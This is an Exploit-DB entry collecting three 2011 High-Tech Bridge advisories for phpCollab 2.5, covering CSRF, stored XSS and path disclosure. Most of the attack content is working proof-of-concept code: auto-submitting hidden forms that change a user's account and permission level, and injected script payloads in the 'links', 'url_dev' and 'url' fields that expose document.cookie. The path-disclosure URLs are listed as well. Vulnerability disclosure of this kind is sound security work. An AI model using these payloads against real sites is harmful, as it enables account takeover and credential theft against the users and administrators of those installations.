phpcollab 2.5 - Multiple Vulnerabilities

EDB-ID:

17134

CVE:





Platform:

PHP

Date:

2011-04-08


Vulnerability ID: HTB22916
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_phpcollab.html
Product: phpCollab
Vendor: phpCollab Team ( http://www.php-collab.org/ )
Vulnerable Version: 2.5 and probably prior versions
Vendor Notification: 24 March 2011
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "users/edituser.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/users/edituser.php?id=USERID&action=update" method="post" name="main">
<input type="hidden" name="un" value="test">
<input type="hidden" name="unOld" value="test">
<input type="hidden" name="fn" value="test">
<input type="hidden" name="tit" value="test">
<input type="hidden" name="em" value="email (at) example (dot) com [email concealed]">
<input type="hidden" name="pw" value="">
<input type="hidden" name="pwa" value="">
<input type="hidden" name="perm" value="5">
<input type="hidden" name="Save" value="Save">
</form>
<script>
document.main.submit();
</script>

Vulnerability ID: HTB22917
Reference: http://www.htbridge.ch/advisory/xss_vulnerabilities_in_phpcollab.html
Product: phpCollab
Vendor: phpCollab Team ( http://www.php-collab.org/ )
Vulnerable Version: 2.5 and probably prior versions
Vendor Notification: 24 March 2011
Vulnerability Type: Stored XSS (Cross Site Scripting)
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "newsdesk/editnews.php", "projects/editproject.php", "clients/editclient.php" scripts to properly sanitize user-supplied input in "links", "url_dev", "url" variables. Successful exploitation of this vulnerabilities could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:
1.

<form action="http://host/newsdesk/editnews.php?id=NEWSID&action=update" method="post">
<input type="hidden" name="author" value="1">
<input type="hidden" name="title" value="news2">
<input type="hidden" name="related" value="g">
<input type="hidden" name="content" value="hello2">
<input type="hidden" name="links" value='2"><script>alert(document.cookie)</script>'>
<input type="hidden" name="rss" value="1">
<input type="submit" id="btn" name="submit" value="Save">
</form>
<script>
document.getElementById('btn').click();
</script>

2.

<form action="http://host/projects/editproject.php?id=1&action=update&docopy=f
alse" method="post" name="main">
<input type="hidden" name="projectPublished" value="1">
<input type="hidden" name="pn" value="project name">
<input type="hidden" name="pr" value="3">
<input type="hidden" name="d" value="description">
<input type="hidden" name="url_dev" value='site"><script>alert(document.cookie)</script>'>
<input type="hidden" name="url_prod" value="">
<input type="hidden" name="pown" value="1">
<input type="hidden" name="clod" value="1">
<input type="hidden" name="thisPhase" value="0">
<input type="hidden" name="st" value="2">
<input type="hidden" name="up" value="51200">
<input type="hidden" name="hourly_rate" value="200.00">
</form>
<script>
document.main.submit();
</script>

3.

<form action="http://host/clients/editclient.php?id=CLIENTID&action=update" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="MAX_FILE_SIZE" value="100000000">
<input type="hidden" name="cn" value="client">
<input type="hidden" name="add" value="">
<input type="hidden" name="client_phone" value="">
<input type="hidden" name="url" value='1"><script>alert(document.cookie)</script>'>
<input type="hidden" name="email" value="">
<input type="hidden" name="comments" value="">
<input type="hidden" name="hourly_rate" value="0.00">
<input type="hidden" name="upload" value="">
</form>
<script>
document.main.submit();
</script>

Vulnerability ID: HTB22918
Reference: http://www.htbridge.ch/advisory/path_disclosure_in_phpcollab.html
Product: phpCollab
Vendor: phpCollab Team ( http://www.php-collab.org/ )
Vulnerable Version: 2.5 and probably prior versions
Vendor Notification: 24 March 2011
Vulnerability Type: Path disclosure
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "projects_site/login.php", "general/error.php", "includes/vcard.class.php" scripts, it's possible to generate an error that will reveal the full path of the script.
A remote user can determine the full path to the web root directory and other potentially sensitive information.

The following PoC is available:

http://host/projects_site/login.php
http://host/general/error.php
http://host/includes/vcard.class.php